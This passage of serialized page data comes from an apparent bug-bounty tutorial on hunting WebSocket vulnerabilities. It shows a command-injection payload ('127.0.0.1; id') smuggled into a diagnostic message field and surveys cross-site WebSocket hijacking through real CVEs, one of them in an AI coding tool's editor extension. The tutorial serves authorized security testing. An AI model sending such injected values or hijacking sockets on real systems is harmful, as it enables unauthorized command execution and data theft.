host:",[297,994,996],{"code":995,"language":339,"meta":301,"className":340,"style":301},"{\"type\":\"ops.runDiagnostic\",\"target\":\"127.0.0.1\"}\n",[48,997,998],{},[344,999,1000,1002,1004,1006,1008,1010,1012,1015,1017,1019,1021,1024,1026,1028,1030,1033,1035],{"class":346,"line":347},[344,1001,351],{"class":350},[344,1003,355],{"class":354},[344,1005,359],{"class":358},[344,1007,355],{"class":354},[344,1009,364],{"class":350},[344,1011,355],{"class":367},[344,1013,1014],{"class":370},"ops.runDiagnostic",[344,1016,355],{"class":367},[344,1018,376],{"class":350},[344,1020,355],{"class":354},[344,1022,1023],{"class":358},"target",[344,1025,355],{"class":354},[344,1027,364],{"class":350},[344,1029,355],{"class":367},[344,1031,1032],{"class":370},"127.0.0.1",[344,1034,355],{"class":367},[344,1036,394],{"class":350},[44,1038,1039],{},"Watch the target field. If it drops into a shell command, add a separator and a second command:",[297,1041,1043],{"code":1042,"language":339,"meta":301,"className":340,"style":301},"{\"type\":\"ops.runDiagnostic\",\"target\":\"127.0.0.1; id\"}\n",[48,1044,1045],{},[344,1046,1047,1049,1051,1053,1055,1057,1059,1061,1063,1065,1067,1069,1071,1073,1075,1078,1080],{"class":346,"line":347},[344,1048,351],{"class":350},[344,1050,355],{"class":354},[344,1052,359],{"class":358},[344,1054,355],{"class":354},[344,1056,364],{"class":350},[344,1058,355],{"class":367},[344,1060,1014],{"class":370},[344,1062,355],{"class":367},[344,1064,376],{"class":350},[344,1066,355],{"class":354},[344,1068,1023],{"class":358},[344,1070,355],{"class":354},[344,1072,364],{"class":350},[344,1074,355],{"class":367},[344,1076,1077],{"class":370},"127.0.0.1; id",[344,1079,355],{"class":367},[344,1081,394],{"class":350},[44,1083,1084,1085,1087,1088,1093],{},"The server runs ",[48,1086,502],{}," and the output returns in a frame. That is the chain. A webpage, to a hijacked socket, to an admin message, to a command on the server. The shape is exactly the Gitpod chain, ",[130,1089,1092],{"href":1090,"rel":1091,"target":136},"https:\u002F\u002Flabs.snyk.io\u002Fresources\u002Fgitpod-remote-code-execution-vulnerability-websockets\u002F?utm_source=amrelsagaei.com&utm_medium=referral",[134,135],"CVE-2023-0957",", where a cross-site WebSocket hijack went from data extraction to full workspace takeover and got fixed in a single working day. From a page you visit, to a shell.",[66,1095,1097],{"id":1096},"is-cswsh-still-worth-hunting-in-2026","Is CSWSH Still Worth Hunting in 2026",[44,1099,1100,1101,1106],{},"CSWSH is narrower than it used to be, but it is not dead. For years it was easy money, because cookies rode along on every cross-site request. That era is mostly over. Browsers now default cookies to ",[130,1102,1105],{"href":1103,"rel":1104,"target":136},"https:\u002F\u002Fdeveloper.mozilla.org\u002Fen-US\u002Fdocs\u002FWeb\u002FHTTP\u002FReference\u002FHeaders\u002FSet-Cookie?utm_source=amrelsagaei.com&utm_medium=referral",[134,135],"SameSite Lax",", and the WebSocket handshake is not a top-level navigation, so Lax cookies are not sent cross-site. The lazy version is gone.",[44,1108,1109],{},"It survives in three real cases.",[1111,1112,1113,1126],"table",{},[1114,1115,1116],"thead",{},[1117,1118,1119,1123],"tr",{},[1120,1121,1122],"th",{},"Case",[1120,1124,1125],{},"Why it still works",[1127,1128,1129,1146,1158],"tbody",{},[1117,1130,1131,1137],{},[1132,1133,1134],"td",{},[77,1135,1136],{},"Same-site, cross-origin",[1132,1138,1139,1140,1142,1143,1145],{},"SameSite is judged at the registrable domain, not the exact origin. ",[48,1141,841],{}," is same-site to ",[48,1144,845],{},", so the cookies flow. A subdomain takeover reopens the whole attack.",[1117,1147,1148,1155],{},[1132,1149,1150,1152],{},[48,1151,111],{},[77,1153,1154],{},"cookies",[1132,1156,1157],{},"Plenty of apps set this for legitimate cross-site reasons. Every one of those is back on the menu.",[1117,1159,1160,1165],{},[1132,1161,1162],{},[77,1163,1164],{},"Internal and localhost services",[1132,1166,1167,1172],{},[130,1168,1171],{"href":1169,"rel":1170,"target":136},"https:\u002F\u002Fgithub.com\u002FWICG\u002Flocal-network-access\u002Fissues\u002F40?utm_source=amrelsagaei.com&utm_medium=referral",[134,135],"Private Network Access"," is supposed to guard these, but it works through a CORS preflight, and WebSockets do not send a preflight. That protection is not there. This is the PlayStation and Claude Code class.",[44,1174,1175,1176,1179,1180,1185,1186,1191,1192,1197,1198,1203],{},"That last case is not theoretical. In 2020, the PlayStation Now desktop app ran a WebSocket server on ",[48,1177,1178],{},"localhost:1235"," with no origin check. Any website you visited could reach in and run code. It earned a ",[130,1181,1184],{"href":1182,"rel":1183,"target":136},"https:\u002F\u002Fwww.securityweek.com\u002Fresearcher-awarded-15000-code-execution-flaw-playstation-now-app\u002F?utm_source=amrelsagaei.com&utm_medium=referral",[134,135],"$15,000 bounty",". Five years later the same class showed up in Claude Code's editor extension, ",[130,1187,1190],{"href":1188,"rel":1189,"target":136},"https:\u002F\u002Fgithub.com\u002Fadvisories\u002FGHSA-9f65-56v6-gxw7?utm_source=amrelsagaei.com&utm_medium=referral",[134,135],"CVE-2025-52882",": a local WebSocket with missing origin validation that let a malicious page read your files, your open tabs, and your diagnostics, and run code in a narrow case. And it is still shipping. Both ",[130,1193,1196],{"href":1194,"rel":1195,"target":136},"https:\u002F\u002Fgithub.com\u002Fadvisories\u002FGHSA-j643-x8pv-8m67?utm_source=amrelsagaei.com&utm_medium=referral",[134,135],"Dozzle"," (CVE-2026-44985) and ",[130,1199,1202],{"href":1200,"rel":1201,"target":136},"https:\u002F\u002Fadvisories.gitlab.com\u002Fgolang\u002Fgithub.com\u002F0xjacky\u002Fnginx-ui\u002FCVE-2026-34403\u002F?utm_source=amrelsagaei.com&utm_medium=referral",[134,135],"Nginx-UI"," (CVE-2026-34403) shipped CSWSH CVEs this year.",[44,1205,1206],{},"The catch is the payout. Public CSWSH bounties are modest now, often a few hundred dollars, because the conditions are narrower. The real money on this surface is behind the upgrade, in the per-message authorization and the injection from earlier. So test CSWSH, but spend your time where the frames are.",[66,1208,1210],{"id":1209},"how-deep-the-rabbit-hole-goes","How Deep the Rabbit Hole Goes",[44,1212,1213],{},"The main surface is per-message authorization and injection, but the rabbit hole runs much deeper. Keep pulling on it.",[44,1215,1216,1219,1220,1225],{},[77,1217,1218],{},"Race conditions."," A WebSocket has no request-and-response pairing, so the server processes your frames concurrently by design. That makes sockets genuinely good for racing. The honest limit is you cannot get the perfect co-arrival of an ",[130,1221,1224],{"href":1222,"rel":1223,"target":136},"https:\u002F\u002Fportswigger.net\u002Fresearch\u002Fsmashing-the-state-machine?utm_source=amrelsagaei.com&utm_medium=referral",[134,135],"HTTP\u002F2 single-packet attack",", so timing is looser. Still a real edge.",[44,1227,1228,1231],{},[77,1229,1230],{},"WebSocket smuggling."," This attacks the handshake at the proxy layer, not the messages. Send a malformed version header, and some proxies keep a raw tunnel open that you reuse to reach internal-only endpoints. Situational, needs a specific setup, nasty when it lands.",[44,1233,1234,1237],{},[77,1235,1236],{},"Binary frames."," People see protobuf or a signed blob and close the tab. Do not. That is encoding, not security. Grab the schema, decode it, edit at the structured level, re-encode. The bug is still in there. It survives because everyone gives up at the wall of bytes.",[44,1239,1240],{},"There is more. Oversized-frame denial of service, subprotocol leaks, and message-payload deserialization that has hit 9.8 criticals. You will not walk every one today. But now you know they are there, and they all live in the same blind spot.",[66,1242,1244],{"id":1243},"dont-quit-at-the-101","Don't Quit at the 101",[44,1246,1247],{},"The bugs were never exotic. IDOR, broken authorization, SQL injection, CSRF. You already know how to find all of them. The only thing that changed is where they live. They moved into frames, past the handshake, into the one part of the app that no scanner reads and no hunter opens.",[44,1249,1250],{},"So remember the recipe. Find the socket. Catch the 101. Then attack the frames, because authorization stopped at the handshake and every message after it is a request nobody checked.",[44,1252,1253,1254,1256],{},"When you see ",[48,1255,50],{},", that is not the end of the app. That is the start of the part nobody tested. Open the WebSocket tab on your next target. Don't quit at the 101.",[66,1258,1260],{"id":1259},"further-reading","Further Reading",[71,1262,1263,1269,1275,1282,1288,1294,1300,1307],{},[74,1264,1265],{},[130,1266,1268],{"href":162,"rel":1267,"target":136},[134,135],"RFC 6455: The WebSocket Protocol",[74,1270,1271],{},[130,1272,1274],{"href":201,"rel":1273,"target":136},[134,135],"PortSwigger: Testing WebSockets for security vulnerabilities",[74,1276,1277],{},[130,1278,1281],{"href":1279,"rel":1280,"target":136},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fwebsockets\u002Fcross-site-websocket-hijacking?utm_source=amrelsagaei.com&utm_medium=referral",[134,135],"PortSwigger: Cross-site WebSocket hijacking",[74,1283,1284],{},[130,1285,1287],{"href":804,"rel":1286,"target":136},[134,135],"graphql-ws protocol specification",[74,1289,1290],{},[130,1291,1293],{"href":1090,"rel":1292,"target":136},[134,135],"Snyk: Gitpod remote code execution via WebSockets (CVE-2023-0957)",[74,1295,1296],{},[130,1297,1299],{"href":1188,"rel":1298,"target":136},[134,135],"GitHub Advisory: Claude Code CVE-2025-52882",[74,1301,1302],{},[130,1303,1306],{"href":1304,"rel":1305,"target":136},"https:\u002F\u002Fowasp.org\u002Fwww-project-web-security-testing-guide\u002Flatest\u002F4-Web_Application_Security_Testing\u002F11-Client-side_Testing\u002F10-Testing_WebSockets?utm_source=amrelsagaei.com&utm_medium=referral",[134,135],"OWASP WSTG: Testing WebSockets",[74,1308,1309],{},[130,1310,1312],{"href":1103,"rel":1311,"target":136},[134,135],"MDN: SameSite cookies",[1314,1315,1316],"style",{},"html pre.shiki code .somML, html code.shiki .somML{--shiki-default:#666666;--shiki-light:#999999}html pre.shiki code .sIkdJ, html code.shiki .sIkdJ{--shiki-default:#B8A96577;--shiki-light:#99841877}html pre.shiki code .s6_DI, html code.shiki .s6_DI{--shiki-default:#B8A965;--shiki-light:#998418}html pre.shiki code .sy_C3, html code.shiki .sy_C3{--shiki-default:#C98A7D77;--shiki-light:#B5695977}html pre.shiki code .sRRDT, html code.shiki .sRRDT{--shiki-default:#C98A7D;--shiki-light:#B56959}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html pre.shiki code .sfIIG, html code.shiki .sfIIG{--shiki-default:#CB7676;--shiki-light:#AB5959}html pre.shiki code .snInM, html code.shiki .snInM{--shiki-default:#BD976A;--shiki-light:#B07D48}html pre.shiki code .swzfi, html code.shiki .swzfi{--shiki-default:#80A665;--shiki-light:#59873A}html pre.shiki code .sy60D, html code.shiki .sy60D{--shiki-default:#758575DD;--shiki-light:#A0ADA0}html pre.shiki code .sUQhE, html code.shiki .sUQhE{--shiki-default:#4C9A91;--shiki-light:#2F798A}html pre.shiki code .sG2Fq, html code.shiki .sG2Fq{--shiki-default:#DBD7CAEE;--shiki-light:#393A34}",{"title":301,"searchDepth":919,"depth":919,"links":1318},[1319,1320,1321,1322,1323,1324,1325,1326,1327,1328,1329,1330],{"id":68,"depth":892,"text":69},{"id":121,"depth":892,"text":122},{"id":194,"depth":892,"text":195},{"id":219,"depth":892,"text":220},{"id":328,"depth":892,"text":329},{"id":464,"depth":892,"text":465},{"id":645,"depth":892,"text":646},{"id":831,"depth":892,"text":832},{"id":1096,"depth":892,"text":1097},{"id":1209,"depth":892,"text":1210},{"id":1243,"depth":892,"text":1244},{"id":1259,"depth":892,"text":1260},[1332,1333],"Bug Bounty","Penetration Testing",{"width":1335,"height":1336,"variants":1337,"lqip":1340,"social":1341},1920,1080,{"400":1338,"800":1339},"\u002Fimages\u002Fblog\u002Fhunting-websockets-bugs-behind-101-switching-protocols\u002Fhunting-websockets-400.webp","\u002Fimages\u002Fblog\u002Fhunting-websockets-bugs-behind-101-switching-protocols\u002Fhunting-websockets-800.webp","data:image\u002Fwebp;base64,UklGRmIAAABXRUJQVlA4IFYAAADwAwCdASoUAAsAPu1kqU4ppaOiMAgBMB2JQBOgBDuQuEktdMyZNrToAP7vZ+NbdinmMeiC1jRfi4Rmc77a9JpaHIl7t27AfElYgtkY4bQb9ylLiVIAAA==",{"src":1342,"width":1343,"height":1344},"\u002Fimages\u002Fblog\u002Fhunting-websockets-bugs-behind-101-switching-protocols\u002Fhunting-websockets-og.jpg",1200,675,"\u002Fimages\u002Fblog\u002Fhunting-websockets-bugs-behind-101-switching-protocols\u002Fhunting-websockets.webp","2026-07-09","Most hunters close the tab at 101 Switching Protocols. A five-step WebSocket recipe, from broken authorization and IDOR to cross-site hijacking.","md",{},"\u002Fhunting-websockets-bugs-behind-101-switching-protocols",{"title":35,"description":1347},"hunting-websockets-bugs-behind-101-switching-protocols","2026-07-15","IPRVnat6ommj6mNYKEJywnjXDNeAbe3et9QEvVpSyH4",{"older":1356,"newer":1360,"total":1364},{"slug":1357,"title":1358,"date":1359,"position":977},"auth-for-hackers","Auth for Hackers","2026-06-05",{"slug":1361,"title":1362,"date":1363,"position":919},"client-side-03-dom-clobbering","Client Side 03: DOM Clobbering","2026-08-17",69,{"id":42,"title":1366,"published":1367,"url":1368,"description":1369,"durationSeconds":1370,"thumbnail":1371,"thumbnailSrcset":1372},"Hunting Websockets","2026-07-15T13:00:12+00:00","https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=UV4dO8uJjig","Most hunters test the app, hit 101 Switching Protocols, and move on. That is the blind spot. In this one I go fully hands-on in Caido and pull real bugs straight out of WebSocket frames: broken authorization, an IDOR that turns into a database dump through error-based SQL injection, a GraphQL subprotocol auth bypass,…",2196,"\u002Fimages\u002Fvideos\u002FUV4dO8uJjig-400.webp","\u002Fimages\u002Fvideos\u002FUV4dO8uJjig-400.webp 400w, \u002Fimages\u002Fvideos\u002FUV4dO8uJjig-800.webp 800w, \u002Fimages\u002Fvideos\u002FUV4dO8uJjig-1280.webp 1280w",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":1374},"\u003Cg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\">\u003Cpath d=\"M7 9.667A2.667 2.667 0 0 1 9.667 7h8.666A2.667 2.667 0 0 1 21 9.667v8.666A2.667 2.667 0 0 1 18.333 21H9.667A2.667 2.667 0 0 1 7 18.333z\"\u002F>\u003Cpath d=\"M4.012 16.737A2 2 0 0 1 3 15V5c0-1.1.9-2 2-2h10c.75 0 1.158.385 1.5 1\"\u002F>\u003C\u002Fg>",1793017937727]